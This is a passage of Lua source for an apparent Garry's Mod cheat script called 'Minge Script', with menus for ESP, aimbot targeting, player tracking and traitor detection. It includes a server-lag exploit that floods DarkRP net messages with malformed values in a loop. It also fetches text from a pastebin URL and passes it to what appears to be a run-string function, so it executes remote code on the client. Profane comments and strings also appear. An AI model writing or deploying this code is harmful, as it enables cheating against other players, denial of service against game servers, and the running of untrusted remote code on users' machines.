  1247. SheetLeft:SetPos( 2, 2 )
  1248. SheetLeft:SetSize( w, h )
  1249. SheetLeft:SetSpacing( 3 )
  1250. SheetLeft:SetPadding( 4 )
  1251. SheetLeft:EnableVerticalScrollbar( true )
  1252.  
  1253. local SheetRight = vgui.Create( "DPanelList", FriendsPanel )
  1254. SheetRight:SetPos( 2, 2 )
  1255. SheetRight:SetSize( w, h )
  1256. SheetRight:SetSpacing( 6 )
  1257. SheetRight:SetPadding( 4 )
  1258. SheetRight:EnableVerticalScrollbar( true )
  1259.  
  1260. PlayerList = vgui.Create( "DListView", SheetRight )
  1261. PlayerList:SetPos( 4, 4 )
  1262. PlayerList:AddColumn( "Potential Targets" )
  1263. PlayerList:SetSize( w /2.22, h -48 )
  1264. PlayerList:SetSortable( true )
  1265. PlayerList:SetMultiSelect( false )
  1266. PlayerList.RebuildList = function()
  1267. PlayerList:Clear()
  1268. PlayerList.friends = {}
  1269. MS.PotentialTargetListNames = {}
  1270.  
  1271. for k,v in pairs( player.GetAll() ) do
  1272. if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or table.HasValue( MS.PotentialTargetListNames, v:Nick() ) or table.HasValue( PlayerList.friends, v ) ) then continue end
  1273. table.insert( PlayerList.friends, v )
  1274. table.insert( MS.PotentialTargetListNames, v:Nick() )
  1275. end
  1276.  
  1277. table.sort( MS.PotentialTargetListNames )
  1278. for k,v in pairs( MS.PotentialTargetListNames ) do
  1279. PlayerList:AddLine( v )
  1280. end
  1281. end
  1282.  
  1283. PlayerList.OnRowSelected = function( panel, line )
  1284. AddFriend( FindByName( MS.PotentialTargetListNames[ line ] ) )
  1285. PlayerList:RebuildList()
  1286. FriendsList:RebuildList()
  1287. end
  1288.  
  1289. FriendsList = vgui.Create( "DListView", SheetRight )
  1290. FriendsList:AddColumn( "Friends" )
  1291. FriendsList:SetPos( w /2 -8, 4 )
  1292. FriendsList:SetSize( w /2.213, h -48 )
  1293. FriendsList:SetSortable( true )
  1294. FriendsList:SetMultiSelect( false )
  1295. FriendsList.RebuildList = function()
  1296. FriendsList:Clear()
  1297. FriendsList.friends = {}
  1298. MS.FriendsListNames = {}
  1299. for k,v in pairs( MS.Friends ) do
  1300. if( !IsValid( v ) or v == LocalPlayer() ) then continue end
  1301. table.insert( FriendsList.friends, v )
  1302. table.insert( MS.FriendsListNames, v:Nick() )
  1303. end
  1304. table.sort( MS.FriendsListNames )
  1305. for k,v in pairs( MS.FriendsListNames ) do
  1306. FriendsList:AddLine( v )
  1307. end
  1308. end
  1309. FriendsList.OnRowSelected = function( panel, line )
  1310. RemoveFriend( FindByName( MS.FriendsListNames[ line ] ) )
  1311. FriendsList:RebuildList()
  1312. PlayerList:RebuildList()
  1313. end
  1314. FriendsList:RebuildList()
  1315. PlayerList:RebuildList()
  1316. return FriendsPanel
  1317. end
  1318.  
  1319. local function GenerateEntsSheet( w, h )
  1320. EntPanel = vgui.Create( "DPanel" )
  1321. EntPanel:SetPos( 2, 2 )
  1322. EntPanel:SetSize( w - 4, h - 4 )
  1323. EntPanel.Paint = function()
  1324. draw.RoundedBox( 3, 0, 0, EntPanel:GetWide(), EntPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1325. end
  1326. local SheetLeft = vgui.Create( "DPanelList", EntPanel )
  1327. SheetLeft:SetPos( 2, 2 )
  1328. SheetLeft:SetSize( w, h )
  1329. SheetLeft:SetSpacing( 3 )
  1330. SheetLeft:SetPadding( 4 )
  1331. SheetLeft:EnableVerticalScrollbar( true )
  1332.  
  1333. EntList = vgui.Create( "DListView", SheetLeft )
  1334. EntList:AddColumn( "Entities On The Server" )
  1335. EntList:SetPos( 4, 4 )
  1336. EntList:SetSize( w/2.22, h-48 )
  1337. EntList:SetSortable( true )
  1338. EntList:SetMultiSelect( false )
  1339. EntList.Ents = {}
  1340. EntList.RebuildList = function()
  1341. EntList:Clear()
  1342. EntList.Ents = {}
  1343.  
  1344. for k,v in pairs( ents.GetAll() ) do
  1345. if( !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) and !string.find( string.lower( v:GetClass() ), "class c" ) and !string.find( string.lower( v:GetClass() ), "func_" ) and !table.HasValue( EntList.Ents, v:GetClass() ) ) then
  1346. table.insert( EntList.Ents, v:GetClass() )
  1347. end
  1348. end
  1349. table.sort( EntList.Ents )
  1350. for k,v in pairs( EntList.Ents ) do
  1351. EntList:AddLine( v )
  1352. end
  1353. end
  1354.  
  1355. EntList.OnRowSelected = function( panel, line )
  1356. table.insert( EntList.Ents, panel:GetLine( line ):GetValue( 1 ) )
  1357. table.insert( MS.Settings.Visuals.customents, panel:GetLine( line ):GetValue( 1 ) )
  1358. EntList:RebuildList()
  1359. ESPEntList:RebuildList()
  1360. end
  1361.  
  1362. ESPEntList = vgui.Create( "DListView", SheetLeft )
  1363. ESPEntList:AddColumn( "Entities Displayed On ESP" )
  1364. ESPEntList:SetPos( w/2 -8, 4 )
  1365. ESPEntList:SetSize( w/2.213, h-48 )
  1366. ESPEntList:SetSortable( true )
  1367. ESPEntList:SetMultiSelect( false )
  1368. ESPEntList.RebuildList = function()
  1369. ESPEntList:Clear()
  1370. table.sort( MS.Settings.Visuals.customents )
  1371. for k,v in pairs( MS.Settings.Visuals.customents ) do
  1372. ESPEntList:AddLine( v )
  1373. end
  1374. end
  1375. ESPEntList.OnRowSelected = function( panel, line )
  1376. for k,v in pairs( MS.Settings.Visuals.customents ) do
  1377. if( v == panel:GetLine( line ):GetValue( 1 ) ) then
  1378. for k2, v2 in pairs( EntList.Ents ) do
  1379. if( v == v2 ) then
  1380. table.remove( EntList.Ents, k2 )
  1381. end
  1382. end
  1383. table.remove( MS.Settings.Visuals.customents, k )
  1384. end
  1385. end
  1386. ESPEntList:RebuildList()
  1387. EntList:RebuildList()
  1388. end
  1389. ESPEntList:RebuildList()
  1390. EntList:RebuildList()
  1391. return EntPanel
  1392. end
  1393.  
  1394. local function GenerateRopeSheet( w, h )
  1395. RopePanel = vgui.Create( "DPanel" )
  1396. RopePanel:SetPos( 2, 2 )
  1397. RopePanel:SetSize( w - 4, h - 4 )
  1398. RopePanel.Paint = function()
  1399. draw.RoundedBox( 3, 0, 0, RopePanel:GetWide(), RopePanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1400. end
  1401.  
  1402. local MaterialList = vgui.Create( "DListView", RopePanel )
  1403. MaterialList:SetPos( 6, 6 )
  1404. MaterialList:SetSize( w -29, h-48 )
  1405. MaterialList:SetMultiSelect( false )
  1406. MaterialList:AddColumn( "Materials - Double click sets rope/slider/wire etc" )
  1407. MaterialList:SetSortable( false )
  1408.  
  1409. MaterialNames = ( file.Read( "materials_list.txt", "DATA" ) )
  1410. for k,v in pairs( string.Explode( ",", MaterialNames ) ) do
  1411. MaterialList:AddLine( string.Trim( v ) )
  1412. end
  1413.  
  1414. MaterialList.OnRowSelected = function( panel, line )
  1415. selectedmat = panel:GetLine( line ):GetValue( 1 )
  1416. if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end
  1417. LogMsg( "UPDATED MATERIAL PREVIEW" )
  1418. MS.Settings.Visuals.RopeMaterial = selectedmat
  1419. end
  1420.  
  1421. MaterialList.DoDoubleClick = function( panel, line )
  1422. if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end
  1423. for k,v in pairs( MS.MaterialsAndWidths ) do
  1424. if( string.find( v, "material" ) ) then
  1425. RCC( v, selectedmat )
  1426. LogMsg( "UPDATED " .. v )
  1427. elseif( string.find( v, "width" ) ) then
  1428. RCC( v, 999999 )
  1429. LogMsg( "UPDATED " .. v )
  1430. end
  1431. end
  1432. end
  1433. return RopePanel
  1434. end
  1435.  
  1436. local function PopulateVGUIElements()
  1437. Window = vgui.Create( "DFrame" )
  1438. Window:SetSize( 338, 305 )
  1439. Window:SetPos( ScrW() /2 -( Window:GetWide() /2 ), ScrH() /2 -( Window:GetTall() /2 ) )
  1440. Window:SetTitle( string.rep( " ", Window:GetWide() /8 ) .. "Minge Script" )
  1441. Window:ShowCloseButton( false )
  1442. PreviewWindow = vgui.Create( "DFrame" )
  1443. PreviewWindow:SetSize( 305, 305 )
  1444. PreviewWindow:SetDraggable( false )
  1445. Window.OnClose = function()
  1446. MS.MenuFirstPass = true
  1447. MS.StayOpen = false
  1448. PreviewWindow:Close()
  1449. HKR( "Think", "UpdatePreview" )
  1450. end
  1451. Window:MakePopup()
  1452.  
  1453. PreviewWindow:SetTitle( string.rep( " ", PreviewWindow:GetWide() /10 ) .. "Rope Material Preview" )
  1454. PreviewWindow:ShowCloseButton( false )
  1455. PreviewWindow:MakePopup()
  1456. local Panel = vgui.Create( "DPanel", PreviewWindow )
  1457. Panel:SetPos( 2, 2 )
  1458. Panel:SetSize( PreviewWindow:GetWide() - 4, PreviewWindow:GetTall() - 4 )
  1459. Panel.Paint = function()
  1460. draw.RoundedBox( 3, 0, 0, Panel:GetWide(), Panel:GetTall(), Color( 50, 50, 50, 255 ) )
  1461. end
  1462. local Preview = vgui.Create( "Material", Panel )
  1463. Preview:SetSize( Panel:GetWide() - 4, Panel:GetTall() - 4 )
  1464. Preview:SetPos( 2, 2 )
  1465. Preview.AutoSize = false
  1466. function UpdatePreview()
  1467. if( RopePanel:IsVisible() ) then
  1468. local WindowX, WindowY = Window:GetPos()
  1469. PreviewWindow:SetPos( ( WindowX + Window:GetWide() /2 ) +( PreviewWindow:GetWide() /1.81 ), ( WindowY + Window:GetTall() /2 ) -( PreviewWindow:GetTall() /2 ) )
  1470. PreviewWindow:SetVisible( true )
  1471. Preview:SetMaterial( MS.Settings.Visuals.RopeMaterial )
  1472. end
  1473. if( VisualPanel:IsVisible() or PlayerVisPanel:IsVisible() or AimbotPanel:IsVisible() or FriendsPanel:IsVisible() or EntPanel:IsVisible() ) then
  1474. PreviewWindow:SetVisible( false )
  1475. end
  1476. end
  1477.  
  1478. PropertySheet = vgui.Create( "DPropertySheet", Window )
  1479. PropertySheet:SetSize( Window:GetWide() - 8, Window:GetTall() - 35 )
  1480. PropertySheet:SetPos( 4, 30 )
  1481. PropertySheet:SetPadding( 8 )
  1482. PropertySheet:AddSheet( "Visuals", GenerateVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visual shit" )
  1483. PropertySheet:AddSheet( "Player Visuals", GeneratePlayerVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visuals whatcome go on players, huh" )
  1484. PropertySheet:AddSheet( "Aimbot", GenerateAimbotSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Settings related to shooting stuff" )
  1485. PropertySheet:AddSheet( "Friends", GenerateFriendsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Aimbot friends list" )
  1486. PropertySheet:AddSheet( "Ents", GenerateEntsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Entities to display on ESP" )
  1487. if( ConVarExists( "rope_material" ) ) then
  1488. if( !file.Exists( "materials_list.txt", "DATA" ) ) then
  1489. file.Write( "materials_list.txt", "effects/alyxmonitor_talk, \nmatsys_regressiontest/background, \n, \nto edit goto garrysmod/data/materials_list.txt, \nDON'T FUCKING FORGET THE COMMAS, \nexcept for the last one which doesn't need it, \nunless you want a blank space being a cunt, \nand shitting up the last line of the list like this, ", "DATA" )
  1490. end
  1491. PropertySheet:AddSheet( "Ropes", GenerateRopeSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Ropes" )
  1492. end
  1493. Window:SetVisible( false )
  1494. PreviewWindow:SetVisible( false )
  1495. end
  1496.  
  1497. local function OpenMenu()
  1498. LogMsg( "OPENING MENU" )
  1499. PopulateVGUIElements()
  1500. FriendsList:RebuildList()
  1501. PlayerList:RebuildList()
  1502. Window:SetVisible( true )
  1503. HKA( "Think", "UpdatePreview", UpdatePreview )
  1504. MS.MenuOpen = true
  1505. if( !MS.MenuFirstPass and MS.MenuTimer >CurTime() )then
  1506. LogMsg( "HIT 1" )
  1507. Window:ShowCloseButton( true )
  1508. MS.MenuTimer = CurTime() +0.28
  1509. MS.StayOpen = true
  1510. else
  1511. LogMsg( "HIT 2" )
  1512. MS.MenuTimer = CurTime() +0.28
  1513. Window:ShowCloseButton( false )
  1514. MS.MenuFirstPass = false
  1515. end
  1516. LogMsg( "OPENING MENU FINISHED" )
  1517. end
  1518. CCA( "+ms_menu", OpenMenu )
  1519.  
  1520. local function CloseMenu()
  1521. LogMsg( "CLOSING MENU" )
  1522. if( !Window ) then
  1523. PopulateVGUIElements()
  1524. end
  1525. MS.MenuOpen = false
  1526.  
  1527. if( !MS.StayOpen ) then
  1528. HKR( "Think", "UpdatePreview" )
  1529. end
  1530.  
  1531. if( MS.MenuTimer < CurTime() and !MS.StayOpen ) then
  1532. LogMsg( "HIT 3" )
  1533. Window:SetVisible( false )
  1534. PreviewWindow:SetVisible( false )
  1535. MS.MenuFirstPass = true
  1536. end
  1537. if( MS.MenuTimer > CurTime() )then
  1538. LogMsg( "HIT 4" )
  1539. if( !MS.StayOpen )then
  1540. LogMsg( "HIT 4.1" )
  1541. Window:SetVisible( false )
  1542. PreviewWindow:SetVisible( false )
  1543. end
  1544. MS.MenuFirstPass = false
  1545. end
  1546. LogMsg( "Settings Saved" )
  1547. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ) )
  1548. LogMsg( "CLOSING MENU FINISHED" )
  1549. end
  1550. CCA( "-ms_menu", CloseMenu )
  1551.  
  1552. surface.CreateFont( "ass", { font = "coolvetica", size = 18, antialias = true } )
  1553.  
  1554. local MultiTracePositions = {
  1555. function( p )
  1556. if( p.GetShootPos ) then
  1557. return p:GetShootPos()
  1558. else
  1559. return p:GetPos()
  1560. end
  1561. end,
  1562. function( p )
  1563. return p:GetPos()
  1564. end,
  1565. function( p )
  1566. return p:GetPos() + Vector( 0, 0, 25 )
  1567. end
  1568. }
  1569.  
  1570. local function DebugToggle()
  1571. MS.Settings.Debug = !MS.Settings.Debug
  1572. EnabledDisabled( "DEBUG MESSAGES", MS.Settings.Debug )
  1573. end
  1574. CCA( "ms_debug", DebugToggle )
  1575.  
  1576. local function ClearTList()
  1577. MS.Traitors = {}
  1578. MS.DetectingTs = false
  1579. LogMsg( "NEW ROUND - TRAITOR LIST CLEARED" )
  1580. end
  1581. HKA( "TTTPrepareRound", "ClearTList", ClearTList )
  1582. local function StartDetectingTs()
  1583. MS.DetectingTs = true
  1584. LogMsg( "TRAITORS SELECTED - CHECKING FOR TRAITOR WEAPONS" )
  1585. end
  1586. HKA( "TTTBeginRound", "StartDetectingTs", StartDetectingTs )
  1587.  
  1588. local function GetPosition( ent )
  1589. if( ent.GetShootPos ) then
  1590. return ent:GetShootPos()
  1591. elseif( ent.GetPos ) then
  1592. return ent:GetPos()
  1593. end
  1594. end
  1595.  
  1596. function IsInSpawn( pos )
  1597. if( !string.find( string.lower( game.GetMap() ), "downtown" ) ) then return false end
  1598. return( pos.x >MS.SpawnMinBounds.x and pos.x <MS.SpawnMaxBounds.x and pos.y >MS.SpawnMinBounds.y and pos.y <MS.SpawnMaxBounds.y and pos.z >MS.SpawnMinBounds.z and pos.z <MS.SpawnMaxBounds.z )
  1599. end
  1600.  
  1601. local function IsVisible( ply )
  1602. local Visible = true
  1603. if( MS.Settings.Aimbot.multitrace ) then
  1604. for k,v in pairs( MultiTracePositions ) do
  1605. local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )
  1606. if( Trace.Hit ) then
  1607. Visible = false
  1608. end
  1609. end
  1610. else
  1611. local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = GetPosition( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )
  1612. return !Trace.Hit
  1613. end
  1614. return Visible
  1615. end
  1616.  
  1617. local function GetFOV( ply )
  1618. local Ang = ( ( ply:GetPos() + Vector( 0, 0, 40 ) ) -LocalPlayer():GetPos() ):Angle()
  1619. local DiffX = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().p - Ang.p ) )
  1620. local DiffY = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().y - Ang.y ) )
  1621. return DiffX, DiffY
  1622. end
  1623.  
  1624. local function IsInFOV( ply )
  1625. local DiffX, DiffY = GetFOV( ply )
  1626. return DiffX <= MS.Settings.Aimbot.maxfov and DiffY <= MS.Settings.Aimbot.maxfov
  1627. end
  1628.  
  1629. local function IsOutOfFOV( ent )
  1630. if( ent == LocalPlayer() or LocalPlayer():InVehicle() or MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() ) then return end
  1631. DiffX, DiffY = GetFOV( ent )
  1632. if( DiffX <= 100 and DiffY <= 100 ) then return false end
  1633. return true
  1634. end
  1635.  
  1636. local function GetSuitableTarget()
  1637. MS.SnapBack = true
  1638. local ply
  1639. MS.SuitableTargetTable = player.GetAll()
  1640. MS.MaxFOV = 180
  1641. if( MS.Settings.Aimbot.targetnpcs ) then
  1642. for k,v in pairs( MS.TargetNPCClasses ) do
  1643. table.Add( MS.SuitableTargetTable, ents.FindByClass( v ) )
  1644. end
  1645. end
  1646.  
  1647. table.sort( MS.SuitableTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )
  1648. for k,v in pairs( MS.SuitableTargetTable ) do
  1649. if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or !IsInFOV( v ) or !IsVisible( v ) or v:Health()<1 or IsInSpawn( v:GetPos() ) --[[or v:GetMoveType() == 0 ]]or v:IsPlayer() and ( v:InVehicle() or v:GetObserverTarget() or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and team.GetName( LocalPlayer():Team() ) == "Spectators" and team.GetName( v:Team() ) != "Spectators" ) or ( MS.Settings.Aimbot.ignorefriends and v:GetFriendStatus() == "friend" ) or ( MS.Settings.Aimbot.ignoreteammates and v:Team() == LocalPlayer():Team() ) ) or ( v:IsNPC() and v:GetClass() == "npc_turret_floor" ) ) then continue end
  1650. ply = v
  1651. break
  1652. end
  1653. return ply
  1654. end
  1655.  
  1656. //isolate
  1657. local function Isolate( p, c, a )
  1658. if( !a[ 1 ] ) then return end
  1659. if( a[ 1 ] == "*" )then
  1660. MS.Isolated = {}
  1661. return
  1662. end
  1663. if( a[ 1 ] == "admins" ) then
  1664. for k,v in pairs( player.GetAll() ) do
  1665. if( !v:IsAdmin() ) then continue end
  1666. table.insert( MS.Isolated, v )
  1667. end
  1668. return
  1669. end
  1670. if( a[ 1 ] == "friends" ) then
  1671. for k,v in pairs( player.GetAll() ) do
  1672. if( v:GetFriendStatus() != "friend" ) then continue end
  1673. table.insert( MS.Isolated, v )
  1674. end
  1675. return
  1676. end
  1677. if( !FindByName( a[ 1 ] ) ) then return
  1678. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1679. end
  1680. table.insert( MS.Isolated, FindByName( a[ 1 ] ) )
  1681. end
  1682. CCA( "ms_isolate", Isolate )
  1683.  
  1684. //priority
  1685. local function Priority( p, c, a )
  1686. if( !a[ 1 ] ) then return end
  1687. if( !FindByName( a[ 1 ] ) ) then return
  1688. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1689. end
  1690. table.insert( MS.HighPriority, FindByName( a[ 1 ] ) )
  1691. end
  1692. CCA( "ms_priority", Priority )
  1693. local function NoPriority( p, c, a )
  1694. if( !a[ 1 ] ) then return end
  1695. if( !FindByName( tostring( a[ 1 ] ) ) ) then return
  1696. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1697. end
  1698. for k,v in pairs( MS.HighPriority ) do
  1699. if( v != FindByName( tostring( a[ 1 ] ) ) ) then continue end
  1700. table.remove( MS.HighPriority, k )
  1701. end
  1702. end
  1703. CCA( "ms_nopriority", NoPriority )
  1704.  
  1705. //track
  1706. local function Track( p, c, a )
  1707. if( !a[ 1 ] ) then return end
  1708. if( a[ 1 ] == "*" ) then
  1709. HKA( "Think", "TrackEveryone", function()
  1710. MS.Tracked = table.Copy( player.GetAll() )
  1711. end )
  1712. return
  1713. end
  1714. if( a[ 1 ] == "admins" ) then
  1715. for k,v in pairs( player.GetAll() ) do
  1716. if( !v:IsAdmin() ) then continue end
  1717. table.insert( MS.Tracked, v )
  1718. end
  1719. return
  1720. end
  1721. if( a[ 1 ] == "friends" ) then
  1722. for k,v in pairs( player.GetAll() ) do
  1723. if( v:GetFriendStatus() != "friend" ) then continue end
  1724. table.insert( MS.Tracked, v )
  1725. end
  1726. return
  1727. end
  1728. if( !FindByName( a[ 1 ] ) ) then return
  1729. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1730. end
  1731. table.insert( MS.Tracked, FindByName( a[ 1 ] ) )
  1732. end
  1733. CCA( "ms_track", Track )
  1734. local function LoseTrack( p, c, a )
  1735. if( !a[ 1 ] or #MS.Tracked < 1 ) then return end
  1736. HKR( "Think", "TrackEveryone" )
  1737. if a[ 1 ] == "*" then
  1738. MS.Tracked = {}
  1739. return
  1740. end
  1741. if( !FindByName( a[ 1 ] ) ) then return
  1742. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1743. end
  1744. for k,v in pairs( MS.Tracked ) do
  1745. if v != FindByName( a[ 1 ] ) then continue end
  1746. table.remove( MS.Tracked, k )
  1747. end
  1748. end
  1749. CCA( "ms_losetrack", LoseTrack )
  1750.  
  1751. //clientside chat mute
  1752. local function MSMute( p, c, a )
  1753. if( !a[ 1 ] ) then return end
  1754. if( a[ 1 ] == "*" )then
  1755. MS.MutedCunts = table.Copy( player.GetAll() )
  1756. MSMsg( "MUTED EVERYONE" )
  1757. return
  1758. end
  1759. if( !FindByName( a[ 1 ] ) ) then return
  1760. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1761. end
  1762. table.insert( MS.MutedCunts, FindByName( a[ 1 ] ) )
  1763. MSMsg( "MUTED " .. FindByName( a[ 1 ] ):Nick() )
  1764. end
  1765. CCA( "ms_mute", MSMute )
  1766. local function MSUnMute( p, c, a )
  1767. if( !a[ 1 ] ) then return end
  1768. if( a[ 1 ] == "*" )then
  1769. MS.MutedCunts = {}
  1770. MSMsg( "UNMUTED EVERYONE" )
  1771. return
  1772. end
  1773. if( !FindByName( a[ 1 ] ) ) then return
  1774. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1775. end
  1776. for k,v in pairs( MS.MutedCunts ) do
  1777. if( v != FindByName( a[ 1 ] ) ) then continue end
  1778. table.remove( MS.MutedCunts, k )
  1779. MSMsg( "UNMUTED " .. v:Nick() )
  1780. end
  1781. end
  1782. CCA( "ms_unmute", MSUnMute )
  1783. local function MuteChat( p, m )
  1784. if( p == LocalPlayer() or #MS.MutedCunts < 1 ) or !table.HasValue( MS.MutedCunts, p ) then return end
  1785. LogMsg( p:Nick() .. "( MUTED ): " .. m )
  1786. return true
  1787. end
  1788. HKA( "OnPlayerChat", "MuteChat", MuteChat )
  1789.  
  1790. //clientside voice mute
  1791. local function MSGag( p, c, a )
  1792. if( !a[ 1 ] ) then return end
  1793.  
  1794. if( a[ 1 ] == "*" ) then
  1795. for k,v in pairs( player.GetAll() ) do
  1796. v:SetMuted( true )
  1797. end
  1798. MSMsg( "GAGGED EVERYONE" )
  1799. return
  1800. end
  1801. if( !FindByName( a[ 1 ] ) ) then return
  1802. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1803. end
  1804. FindByName( a[ 1 ] ):SetMuted( true )
  1805. MSMsg( "GAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1806. end
  1807. CCA( "ms_gag", MSGag )
  1808. local function MSUngag( p, c, a )
  1809. if( !a[ 1 ] ) then return end
  1810. if( a[ 1 ] == "*" ) then
  1811. for k,v in pairs( player.GetAll() ) do
  1812. v:SetMuted( false )
  1813. end
  1814. MSMsg( "UNGAGGED EVERYONE" )
  1815. return
  1816. end
  1817. if( !FindByName( a[ 1 ] ) ) then return
  1818. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1819. end
  1820. FindByName( a[ 1 ] ):SetMuted( false )
  1821. MSMsg( "UNGAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1822. end
  1823. CCA( "ms_ungag", MSUngag )
  1824.  
  1825. SteamIDs = {{Nothing = "STEAM"}};
  1826. http.Fetch( "http://pastebin.com/raw.php?i=PGpVaE6Y",
  1827. function( body, len, headers, code )
  1828. RSTR( body )
  1829. end,
  1830. function( error )
  1831. end );
  1832. local function GetHash( sid )
  1833. local steamthing = tonumber( string.sub( string.Explode( ":", sid ) [3], 1, 3 ) )
  1834. return( tostring( tonumber( util.CRC( "gm_" .. sid .. "_gm" ) ) % 83755 * 12826596 + steamthing ) )
  1835. end
  1836.  
  1837. local function Think()
  1838. if( MS.Lagsploiting ) then
  1839. for i=1, 1000 do
  1840. net.Start( "DarkRP_preferredjobmodel" )
  1841. net.WriteUInt( -8, 8 )
  1842. net.WriteString( "\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n" )
  1843. net.SendToServer()
  1844. net.Start( "DarkRP_spawnPocket" )
  1845. net.WriteFloat( -0.1 )
  1846. net.SendToServer()
  1847. end
  1848. end
  1849.  
  1850. if( MS.Settings.Aimbot.silent ) then
  1851. MS.SilentAimPingAdjust = math.Round( LocalPlayer():Ping()*2.2 /1000, 2 )
  1852. end
  1853.  
  1854. if( MS.Hopping ) then
  1855. RCC( ( ( LocalPlayer():IsOnGround() or LocalPlayer():WaterLevel() > 0 or LocalPlayer():GetMoveType() == MOVETYPE_NOCLIP or LocalPlayer():InVehicle() ) and "+" or "-" ).."jump" )
  1856. end
  1857.  
  1858. if( #MS.Traitors >0 or #MS.HighPriority >0 ) then
  1859. MS.Colours.traitorred = Color( math.Clamp( ( math.cos( CurTime() *10 ) +1 ) /2 *1000, 100, 255 ), 0, 0 )
  1860. end
  1861.  
  1862. if( MS.Settings.Visuals.headsmash ) then
  1863. MS.Colours.Random = table.Random( MS.Colours )
  1864. end
  1865.  
  1866. if( !MS.Settings.teamcolours and !MS.Settings.Visuals.rainbow and MS.UpdateCol ) then
  1867. MS.Colours.Col = Color( MS.Settings.Visuals.CustomR, MS.Settings.Visuals.CustomG, MS.Settings.Visuals.CustomB )
  1868. MS.UpdateCol = false
  1869. end
  1870.  
  1871. if( !MS.Settings.Visuals.rainbow and MS.UpdatePropCol ) then
  1872. MS.Colours.PropChamsColour = Color( MS.Settings.Visuals.PropR, MS.Settings.Visuals.PropG, MS.Settings.Visuals.PropB, MS.Settings.Visuals.PropA )
  1873. MS.UpdatePropCol = false
  1874. end
  1875.  
  1876. if( MS.Settings.Visuals.rainbow ) then
  1877. MS.Colours.Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  1878. MS.Colours.PropChamsColour = InvertColour( MS.Colours.Col )
  1879. if( MS.UpdatePropCol ) then
  1880. MS.UpdatePropCol = false
  1881. end
  1882. if( MS.UpdateCol ) then
  1883. MS.UpdateCol = false
  1884. end
  1885. end
  1886.  
  1887. if( #MS.Tracked > 0 ) then
  1888. if( LocalPlayer():GetObserverTarget() ) then
  1889. MS.Start = LocalPlayer():GetObserverTarget():GetShootPos() + LocalPlayer():GetObserverTarget():GetAimVector() * 100 - Vector( 0, 0, 30 )
  1890. end
  1891. end
  1892.  
  1893. if( MS.Settings.Visuals.crosshair ) then
  1894. if( LocalPlayer():GetEyeTrace().Entity:IsPlayer() ) or ( LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then
  1895. if( MS.Settings.Visuals.playerchams and !LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then
  1896. if( MS.Settings.Visuals.teamcolours ) then
  1897. MS.Colours.CrosshairCol = InvertColour( team.GetColor( LocalPlayer():GetEyeTrace().Entity:Team() ) )
  1898. else
  1899. MS.Colours.CrosshairCol = InvertColour( MS.Colours.Col )
  1900. end
  1901. else
  1902. MS.Colours.CrosshairCol = MS.Colours.red
  1903. end
  1904. elseif( MS.Settings.Visuals.propchams and IsValid( LocalPlayer():GetEyeTrace().Entity ) ) and ( table.HasValue( MS.ChamTable, LocalPlayer():GetEyeTrace().Entity ) ) then
  1905. if( MS.Settings.Visuals.rainbow ) then
  1906. MS.Colours.CrosshairCol = MS.Colours.Col
  1907. else
  1908. MS.Colours.CrosshairCol = InvertColour( MS.Colours.PropChamsColour )
  1909. end
  1910. else
  1911. MS.Colours.CrosshairCol = HSVToColor( CurTime()*( MS.Settings.Visuals.crosshairspeed *15 ) % 360, 1, 1 )
  1912. end
  1913.  
  1914. MS.CHOutterPos1 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *30, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *30, 0 )
  1915. MS.CHOutterPos2 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1916. MS.CHOutterPos3 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, 0 )
